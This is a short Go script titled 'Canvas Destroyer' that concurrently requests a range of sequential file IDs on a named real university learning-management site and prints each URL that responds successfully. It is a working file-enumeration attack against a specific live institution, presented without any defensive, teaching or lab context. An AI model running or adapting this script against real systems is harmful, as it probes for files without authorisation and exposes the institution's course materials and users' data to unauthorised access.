Canvas Destroyer

package main

import (
    "fmt"
    "net/http"
    "strconv"
    "sync"
)

func main() {
    wg := sync.WaitGroup{}
    for i := 2480990; i <= 2481040; i++ {
        wg.Add(1)
        go func(i int) {
            defer wg.Done()
            uri := "https://lms.misis.ru/courses/13049/files/" + strconv.Itoa(i)
            resp, err := http.Get(uri)
            if err == nil && resp.StatusCode == 200 {
                fmt.Println(uri)
            } else {
                fmt.Printf("Nothing was found: %d\n", i)
            }
        }(i)
    }
    wg.Wait()
}